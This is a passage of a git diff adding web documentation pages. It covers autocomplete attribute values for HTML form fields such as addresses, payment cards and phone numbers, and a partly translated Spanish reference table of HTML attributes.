+ <dd>The first {{anch("Administrative levels in addresses", "administrative level")}} in the address. This is typically the province in which the address is located. In the United States, this would be the state. In Switzerland, the canton. In the United Kingdom, the post town.</dd>
+ <dt><code>"country"</code></dt>
+ <dd>A country code.</dd>
+ <dt><code>"country-name"</code></dt>
+ <dd>A country name.</dd>
+ <dt><code>"postal-code"</code></dt>
+ <dd>A postal code (in the United States, this is the ZIP code).</dd>
+ <dt><code>"cc-name"</code></dt>
+ <dd>The full name as printed on or associated with a payment instrument such as a credit card. Using a full name field is preferred, typically, over breaking the name into pieces.</dd>
+ <dt><code>"cc-given-name"</code></dt>
+ <dd>A given (first) name as given on a payment instrument like a credit card.</dd>
+ <dt><code>"cc-additional-name"</code></dt>
+ <dd>A middle name as given on a payment instrument or credit card.</dd>
+ <dt><code>"cc-family-name"</code></dt>
+ <dd>A family name, as given on a credit card.</dd>
+ <dt><code>"cc-number"</code></dt>
+ <dd>A credit card number or other number identifying a payment method, such as an account number.</dd>
+ <dt><code>"cc-exp"</code></dt>
+ <dd>A payment method expiration date, typically in the form "MM/YY" or "MM/YYYY".</dd>
+ <dt><code>"cc-exp-month"</code></dt>
+ <dd>The month in which the payment method expires.</dd>
+ <dt><code>"cc-exp-year"</code></dt>
+ <dd>The year in which the payment method expires.</dd>
+ <dt><code>"cc-csc"</code></dt>
+ <dd>The security code for the payment instrument; on credit cards, this is the 3-digit verification number on the back of the card.</dd>
+ <dt><code>"cc-type"</code></dt>
+ <dd>The type of payment instrument (such as "Visa" or "Master Card").</dd>
+ <dt><code>"transaction-currency"</code></dt>
+ <dd>The currency in which the transaction is to take place.</dd>
+ <dt><code>"transaction-amount"</code></dt>
+ <dd>The amount, given in the currency specified by <code>"transaction-currency"</code>, of the transaction, for a payment form.</dd>
+ <dt><code>"language"</code></dt>
+ <dd>A preferred language, given as a valid <a href="https://en.wikipedia.org/wiki/IETF_language_tag">BCP 47 language tag</a>.</dd>
+ <dt><code>"bday"</code></dt>
+ <dd>A birth date, as a full date.</dd>
+ <dt><code>"bday-day"</code></dt>
+ <dd>The day of the month of a birth date.</dd>
+ <dt><code>"bday-month"</code></dt>
+ <dd>The month of the year of a birth date.</dd>
+ <dt><code>"bday-year"</code></dt>
+ <dd>The year of a birth date.</dd>
+ <dt><code>"sex"</code></dt>
+ <dd>A gender identity (such as "Female", "Fa'afafine", "Male"), as freeform text without newlines.</dd>
+ <dt><code>"tel"</code></dt>
+ <dd>A full telephone number, including the country code. If you need to break the phone number up into its components, you can use these values for those fields:
+ <dl>
+  <dt><code>"tel-country-code"</code></dt>
+  <dd>The country code, such as "1" for the United States, Canada, and other areas in North America and parts of the Caribbean.</dd>
+  <dt><code>"tel-national"</code></dt>
+  <dd>The entire phone number without the country code component, including a country-internal prefix. For the phone number "1-855-555-6502", this field's value would be "855-555-6502".</dd>
+  <dt><code>"tel-area-code"</code></dt>
+  <dd>The area code, with any country-internal prefix applied if appropriate.</dd>
+  <dt><code>"tel-local"</code></dt>
+  <dd>The phone number without the country or area code. This can be split further into two parts, for phone numbers which have an exchange number and then a number within the exchange. For the phone number "555-6502", use <code>"tel-local-prefix"</code> for "555" and <code>"tel-local-suffix"</code> for "6502".</dd>
+ </dl>
+ </dd>
+ <dt><code>"tel-extension"</code></dt>
+ <dd>A telephone extension code within the phone number, such as a room or suite number in a hotel or an office extension in a company.</dd>
+ <dt><code>"impp"</code></dt>
+ <dd>A URL for an instant messaging protocol endpoint, such as "xmpp:username@example.net".</dd>
+ <dt><code>"url"</code></dt>
+ <dd>A URL, such as a home page or company web site address as appropriate given the context of the other fields in the form.</dd>
+ <dt><code>"photo"</code></dt>
+ <dd>The URL of an image representing the person, company, or contact information given in the other fields in the form.</dd>
+</dl>
+
+<p>See the <a href="https://html.spec.whatwg.org/multipage/forms.html#autofill">WHATWG Standard</a> for more detailed information.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>autocomplete</code> attribute also controls whether Firefox will — unlike other browsers — <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state and (if applicable) dynamic checkedness</a> of an <code>&lt;input&gt;</code> across page loads. The persistence feature is enabled by default. Setting the value of the <code>autocomplete</code> attribute to <code>off</code> disables this feature. This works even when the <code>autocomplete</code> attribute would normally not apply to the <code>&lt;input&gt;</code> by virtue of its <code>type</code>. See {{bug(654072)}}.</p>
+</div>
+
+<h2 id="Administrative_levels_in_addresses">Administrative levels in addresses</h2>
+
+<p>The four administrative level fields (<code>"address-level1"</code> through <code>"address-level4"</code>) describe the address in terms of increasing levels of precision within the country in which the address is located. Each country has its own system of administrative levels, and may arrange the levels in different orders when addresses are written.</p>
+
+<p><code>"address-level1"</code> always represents the broadest administrative division; it is the least-specific portion of the address short of the country name.</p>
+
+<h3 id="Form_layout_flexibility">Form layout flexibility</h3>
+
+<p>Given that different countries write their address in different ways, with each field in different places within the address, and even different sets and numbers of fields entirely, it can be helpful if, when possible, your site is able to switch to the layout expected by your users when presenting an address entry form, given the country the address is located within.</p>
+
+<h3 id="Variations">Variations</h3>
+
+<p>The way each administrative level is used will vary from country to country. Below are some examples; this is not meant to be an exhaustive list.</p>
+
+<h4 id="United_States">United States</h4>
+
+<p>A typical home address within the United States looks like this:</p>
+
+<p>432 Anywhere St<br>
+ Exampleville CA 95555</p>
+
+<p>In the United States, the least-specific portion of the address is the state, in this case "CA" (the official US Postal Service shorthand for "California"). Thus <code>"address-level1"</code> is the state, or "CA" in this case.</p>
+
+<p>The second-least specific portion of the address is the city or town name, so <code>"address-level2"</code> is "Exampleville" in this example address.</p>
+
+<p>United States addresses do not use levels 3 and up.</p>
+
+<h4 id="United_Kingdom">United Kingdom</h4>
+
+<p>The UK uses one or two address levels, depending on the address. These are the post town and, in some instances, the locality.</p>
+
+<h4 id="China">China</h4>
+
+<p>China can use as many as three administrative levels: the province, the city, and the district.</p>
diff --git a/files/es/web/html/atributos/index.html b/files/es/web/html/atributos/index.html
new file mode 100644
index 0000000000..03e7d8baee
--- /dev/null
+++ b/files/es/web/html/atributos/index.html
@@ -0,0 +1,677 @@
+---
+title: Referencia de Atributos HTML
+slug: Web/HTML/Atributos
+tags:
+  - HTML
+  - Referencia
+  - Web
+  - atributo
+translation_of: Web/HTML/Attributes
+---
+<p>Los elementos en HTML tienen <strong>atributos</strong>; estos son valores adicionales que configuran los elementos o ajustan su comportamiento de diversas formas para cumplir los criterios de los usuarios.</p>
+
+<h2 id="Lista_de_Atributos">Lista de Atributos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nombre del Atributo</th>
+   <th>Elementos</th>
+   <th>Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accept</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>Lista de tipos aceptados por el servidor, usualmente un tipo de archivo.</td>
+  </tr>
+  <tr>
+   <td><code>accept-charset</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Lista de juegos de caracteres soportados.</td>
+  </tr>
+  <tr>
+   <td><code>accesskey</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_Globales" title="/es/docs/Web/HTML/Atributos_Globales">Atributos Globales</a></td>
+   <td>Define una tecla que activa o agrega un foco al elemento.</td>
+  </tr>
+  <tr>
+   <td><code>action</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>La URL del programa que procesa la información enviada en el formulario.</td>
+  </tr>
+  <tr>
+   <td><code>align</code></td>
+   <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
+   <td>Especifica el alineamiento horizontal del elemento.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</td>
+   <td>Texto alternativo en caso de que la imagen no se pueda mostrar.</td>
+  </tr>
+  <tr>
+   <td><code>async</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Indica que el script debería ejecutarse asincrónicamente.</td>
+  </tr>
+  <tr>
+   <td><code>autocomplete</code></td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>Indica si los controles en este formulario pueden tener por defecto sus valores completados automáticamente por el navegador.</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>El elemento debería recibir foco automáticamente después de haberse cargado la página.</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>El audio o video debería empezar lo antes posible.</td>
+  </tr>
+  <tr>
+   <td><code>autosave</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Previous values should persist dropdowns of selectable values across page loads.</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code></td>
+   <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
+   <td>
+    <p>Color de fondo del elemento.</p>
+
+    <div class="note">
+    <p><strong>Nota:</strong> Este atributo se mantiene como referencia. Por favor usa la propiedad CSS {{ Cssxref("background-color") }} en su lugar.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>border</code></td>
+   <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
+   <td>
+    <p>El ancho del borde.</p>
+
+    <div class="note">
+    <p><strong>Nota:</strong> Este atributo se mantiene como referencia. Por favor usa la propiedad CSS {{ Cssxref("border") }} en su lugar.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>buffered</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Contiene un rango de tiempo multimedia almacenado.</td>
+  </tr>
+  <tr>
+   <td><code>challenge</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Cadena de desafío que se envía junto con la clave pública.</td>
+  </tr>
+  <tr>
+   <td><code>charset</code></td>
+   <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
+   <td>Declara la codificación de caracteres de la página o del script.</td>
+  </tr>
+  <tr>
+   <td><code>checked</code></td>
+   <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
+   <td>Indica que el elemento debería estar marcado al cargar la página.</td>
+  </tr>
+  <tr>
+   <td><code>cite</code></td>
+   <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
+   <td>Contiene una URL que apunta a la fuente de la cita o cambio.</td>
+  </tr>
+  <tr>
+   <td><code>class</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Usualmente empleado con CSS para aplicar estilos a elementos con propiedades en comun.</td>
+  </tr>
+  <tr>
+   <td><code>code</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>Especifica la URL del archivo de tipo applet a ser cargado y ejecutado.</td>
+  </tr>
+  <tr>
+   <td><code>codebase</code></td>
+   <td>{{ HTMLElement("applet") }}</td>
+   <td>Este atributo contiene la URL absoluta o relativa del directorio donde los archivos de applets (.class) referenciados en el codigo se encuentran almacenados.</td>
+  </tr>
+  <tr>
+   <td><code>color</code></td>
+   <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
+   <td>
+    <p>Este atributo establece el color de texto utilizando un nombre de color o en formato hexadecimal #RRGGBB.</p>
+
+    <div class="note">
+    <p><strong>Nota:</strong> Este atributo se mantiene como referencia. Por favor usa la propiedad CSS {{ Cssxref("color") }} en su lugar.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>cols</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Define el número de columnas en un área de texto.</td>
+  </tr>
+  <tr>
+   <td><code>colspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>Define el número de columnas que una celda debe contener.</td>
+  </tr>
+  <tr>
+   <td><code>content</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td>Un valor asociado con <code>http-equiv</code> o <code>name</code> dependiendo del contexto.</td>
+  </tr>
+  <tr>
+   <td><code>contenteditable</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Indica si el contenido del elemento es editable.</td>
+  </tr>
+  <tr>
+   <td><code>contextmenu</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Define el ID del elemento {{ HTMLElement("menu") }} que servira como menú de contexto para otro elemento.</td>
+  </tr>
+  <tr>
+   <td><code>controls</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Indica si el navegador debe mostrar controles de reproduccion al usuario.</td>
+  </tr>
+  <tr>
+   <td><code>coords</code></td>
+   <td>{{ HTMLElement("area") }}</td>
+   <td>Un conjunto de valores que especifican las coordenadas del area.</td>
+  </tr>
+  <tr>
+   <td><code>data</code></td>
+   <td>{{ HTMLElement("object") }}</td>
+   <td>Especifica la URL del recurso.</td>
+  </tr>
+  <tr>
+   <td><code>data-*</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Permite asociar atributos presonalizados a un elemento HTML.</td>
+  </tr>
+  <tr>
+   <td><code>datetime</code></td>
+   <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
+   <td>Indica la fecha y hora asociadas con el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>default</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Indica que la pista debe estar habilitada a menos que las preferencias del usuario indiquen algo diferente.</td>
+  </tr>
+  <tr>
+   <td><code>defer</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Indica que el código debe ser ejecutado despues de que la página este cargada.</td>
+  </tr>
+  <tr>
+   <td><code>dir</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Define la dirección del texto. Los valores permitidos son ltr (Izquierda-a-Derecha) o rtl (Derecha-a-Izquierda).</td>
+  </tr>
+  <tr>
+   <td><code>dirname</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica la dirección del texto asociada con el elemento al momento de enviar el formulario.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica si el usuario puede interactuar con el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td>Indica que el hipervínculo es utilizado para descargar un recurso.</td>
+  </tr>
+  <tr>
+   <td><code>draggable</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Define si el elemento puede ser arrastrado.</td>
+  </tr>
+  <tr>
+   <td><code>dropzone</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Indica que el elemento acepta contenido soltado en el mismo.</td>
+  </tr>
+  <tr>
+   <td><code>enctype</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Define el tipo de contenido del formulario cuando el <code>método</code> del mismo es POST.</td>
+  </tr>
+  <tr>
+   <td><code>for</code></td>
+   <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+   <td>Describe elementos que pertenecen a éste.</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica el formulario al que pertenece el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("button") }}</td>
+   <td>Indica la acción del elemento, anulando la acción definida en {{ HTMLElement("form") }}.</td>
+  </tr>
+  <tr>
+   <td><code>headers</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>IDs de los elementos <code>&lt;th&gt;</code> que aplican a este elemento.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+   <td>
+    <p>Especifica la altura de los elementos enumerados aquí. Para todos los demás elementos, usa la propiedad CSS {{cssxref("height")}} en su lugar.</p>
+
+    <div class="note">
+    <p><strong>Nota:</strong> En algunos casos, como los {{ HTMLElement("div") }}, este es un atributo de referencia, en donde debes usar la propiedad CSS {{ Cssxref("height") }} en su lugar.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>hidden</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Evita la prestación del elemento dado, manteniendo los elementos secundarios, p.ej. los elementos de script</td>
+  </tr>
+  <tr>
+   <td><code>high</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indica el menor valor del rango alto.</td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
+   <td>La URL de un recurso asociado.</td>
+  </tr>
+  <tr>
+   <td><code>hreflang</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>Especifica el lenguaje del recurso asociado.</td>
+  </tr>
+  <tr>
+   <td><code>http-equiv</code></td>
+   <td>{{ HTMLElement("meta") }}</td>
+   <td>Indica una directiva que puede alterar el comportamiento de la pagina y como es leida por los exploradores.</td>
+  </tr>
+  <tr>
+   <td><code>icon</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td>
+    <p>Especifica una imagen relacionada con el comando.</p>
+
+    <div class="note">
+    <p><strong>Note:</strong> El elemento {{ HTMLElement("command") }} es obsoleto y no se recomienda su uso.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>id</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Identificador el elemento para acceder al mismo desde CSS o Javascript, este indicador debe ser unico para cada elemento.</td>
+  </tr>
+  <tr>
+   <td><code>ismap</code></td>
+   <td>{{ HTMLElement("img") }}</td>
+   <td>Indica que la imagen es parte de un mapa de imagen del servidor.</td>
+  </tr>
+  <tr>
+   <td><code>itemprop</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Indica que el elemento contiene el valor de la propiedad especificada de un conjunto.</td>
+  </tr>
+  <tr>
+   <td><code>keytype</code></td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>
+    <p>Especifica el tipo de clave generada.</p>
+
+    <div class="note">
+    <p><strong>Nota:</strong> RSA es el valor por defecto.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>kind</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Specifies the kind of text track.</td>
+  </tr>
+  <tr>
+   <td><code>label</code></td>
+   <td>{{ HTMLElement("track") }}</td>
+   <td>Especifica el título de la pista con un formato legible por el usuario.</td>
+  </tr>
+  <tr>
+   <td><code>lang</code></td>
+   <td><a href="/es/docs/Web/HTML/Atributos_globales" title="/es/docs/Web/HTML/Atributos globales">Atributo Global</a></td>
+   <td>Define el lenguaje utilizado en el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>language</code></td>
+   <td>{{ HTMLElement("script") }}</td>
+   <td>Define el lenguage (de programación) utilizado en el elemento.</td>
+  </tr>
+  <tr>
+   <td><code>list</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Identifica una serie de valores predefinidos para ser sugeridos al usuario.</td>
+  </tr>
+  <tr>
+   <td><code>loop</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
+   <td>Indica si el medio debe volver a ser reproducido desde el principio al llegar al final.</td>
+  </tr>
+  <tr>
+   <td><code>low</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indica el valor mas alto del rango bajo.</td>
+  </tr>
+  <tr>
+   <td><code>manifest</code></td>
+   <td>{{ HTMLElement("html") }}</td>
+   <td>Especifica la URL del manifiesto de cache para el documento.</td>
+  </tr>
+  <tr>
+   <td><code>max</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>Indica el máximo valor aceptado.</td>
+  </tr>
+  <tr>
+   <td><code>maxlength</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Define el mayor número de caracteres aceptados.</td>
+  </tr>
+  <tr>
+   <td><code>media</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
+   <td>Da un indicio del tipo de medio para el cual el recurso vinculado fue creado.</td>
+  </tr>
+  <tr>
+   <td><code>method</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Define el método <a href="/es/docs/Web/HTTP">HTTP</a> a emplear para enviar el formulario. Puede ser <code>GET</code> (predeterminado) o <code>POST</code>.</td>
+  </tr>
+  <tr>
+   <td><code>min</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+   <td>Indica el valor mínimo aceptado.</td>
+  </tr>
+  <tr>
+   <td><code>multiple</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Indica si múltiples valores pueden ser ingresados.</td>
+  </tr>
+  <tr>
+   <td><code>muted</code></td>
+   <td>{{ HTMLElement("video") }}</td>
+   <td>Indica si el audio será silenciado inicialmente al cargar la página.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
+   <td>Nombre del elemento. Por ejemplo utilizado por el servidor para identificar los campos en el envio de formularios.</td>
+  </tr>
+  <tr>
+   <td><code>novalidate</code></td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Este atributo indica que el formulario no debe ser validado cuando se envíe.</td>
+  </tr>
+  <tr>
+   <td><code>open</code></td>
+   <td>{{ HTMLElement("details") }}</td>
+   <td>Indica si los detalles de la página seran mostrados cuando cargue la misma.</td>
+  </tr>
+  <tr>
+   <td><code>optimum</code></td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indica el valor numérico óptimo.</td>
+  </tr>
+  <tr>
+   <td><code>pattern</code></td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Define una expresion regular con la cual el valor del elemento debe ser validado.</td>
+  </tr>
+  <tr>
+   <td><code>ping</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td>Indica si se enviara un ping o notificacion a la URL del recurso cuando el usuario utlize el vinculo.</td>
+  </tr>
+  <tr>
+   <td><code>placeholder</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Proporciona una sugerencia al usuario de lo que puede ser introducido en el campo.</td>
+  </tr>
+  <tr>
+   <td><code>poster</code></td>
+   <td>{{ HTMLElement("video") }}</td>
+   <td>Una URL que indica un cuadro a mostrar hasta que el usuario reproduzca o navegue en el video.</td>
+  </tr>
+  <tr>
+   <td><code>preload</code></td>
+   <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+   <td>Indica si el recurso o partes del mismo deben ser precargadas.</td>
+  </tr>
+  <tr>
+   <td>pubdate</td>
+   <td>{{ HTMLElement("time") }}</td>
+   <td>Indica si esta fecha y tiempo concuerda con la fecha y tiempo del {{ HTMLElement("article") }} mas cercano (ancestro).</td>
+  </tr>
+  <tr>
+   <td><code>radiogroup</code></td>
+   <td>{{ HTMLElement("command") }}</td>
+   <td>
+    <p>Indica los nombres de los comandos de tipo radio, que seran alternados si el comando en si es alternado. Este atributo debe ser omitido si el tipo de comando no es radio.</p>
+
+    <div class="note">
+    <p><strong>Note:</strong> El elemento {{ HTMLElement("command") }} es obsoleto y no se recomienda su uso.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>readonly</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica si el elemento puede ser editado por el usuario.</td>
+  </tr>
+  <tr>
+   <td><code>rel</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+   <td>Especifica la relación entre el objeto destino y el objeto enlace.</td>
+  </tr>
+  <tr>
+   <td><code>required</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indica si se requiere rellenar o no este elemento.</td>
+  </tr>
+  <tr>
+   <td><code>reversed</code></td>
+   <td>{{ HTMLElement("ol") }}</td>
+   <td>Indica si la lista debe ser mostrada en orden descendente en vez de ascendente.</td>
+  </tr>
+  <tr>
+   <td><code>rows</code></td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Define el número de filas en un área de texto.</td>
+  </tr>
+  <tr>
+   <td><code>rowspan</code></td>
+   <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+   <td>Define el número de filas que una celda de una tabla debe abarcar.</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td>Lista de restricciones a ser desactivadas en el iframe.</td>
+  </tr>
+  <tr>
+   <td><code>scope</code></td>
+   <td>{{ HTMLElement("th") }}</td>
+   <td>Define las celdas que la cabecera definió en este elemento.</td>
+  </tr>
+  <tr>
+   <td><code>scoped</code></td>
+   <td>{{ HTMLElement("style") }}</td>
+   <td>Indica si el estilo será aplicado sólo al elemento inmediato superior (padre). de no ser definido, el estilo se aplicara de forma global.</td>
+  </tr>
+  <tr>
+   <td><code>seamless</code></td>
+   <td>{{ HTMLElement("iframe") }}</td>
+   <td>Indica si el iframe debe ser cargado como parte del mismo documento.</td>
+  </tr>
+  <tr>
+   <td><code>selected</code></td>
+   <td>{{ HTMLElement("option") }}</td>
+   <td>Define un valor que será seleccionado al cargar la página.</td>
+  </tr>
+  <tr>
+   <td><code>shape</code></td>
+   <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+   <td>Define una región seleccionable para hacer hipervínculos asociados con una forma asociada a una figura para crear un mapa. Los valores para este atributo son: <code>circle</code>, <code>defaul</code>, <code>plygon</code> y <code>rect</code>.</td>
+  </tr>
+  <tr>
+   <td><code>size</code></td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Define el ancho del elemento (en píxeles). Si el atributo del elemento es del <code>tipo</code> <code>text</code> o <code>password</code> entonces es el número de caracteres.</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>{{ HTMLElement("link") }}, {{ HTMLElement("img") }}, {{ HTMLElement("source") }}</td>
+   <td>Define los tamaños en los que el icono puede ser cargado.</td>
+  </tr>
+  <tr>
+   <td><code>span</code></td>
+   <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
